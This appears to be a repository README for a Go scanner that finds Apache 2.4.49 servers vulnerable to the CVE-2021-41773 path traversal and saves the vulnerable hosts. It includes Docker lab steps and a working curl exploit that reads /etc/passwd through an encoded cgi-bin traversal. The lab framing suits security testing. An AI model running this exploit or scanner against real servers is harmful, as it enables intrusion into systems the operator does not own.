CVE-2021-41773 PoC — Apache HTTP Server 路径遍历漏洞

Description

A automatic scanner to apache 2.4.49

介绍

# Scanner-CVE-2021-41773
### A automatic scanner to apache 2.4.49
<pre>
• run: go run main.go  OR  go build main.go && ./main
• you can customize your payload
• vulnerable hosts are saved
</pre><hr>

![image](https://user-images.githubusercontent.com/77762068/138774460-4fe76efc-7f43-4a32-b870-8092f987daa8.png)

<pre>
Make your lab:
1. Pull Image: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
2. Run Image: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
3. Exploit: curl -v "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
</pre>

文件快照

备注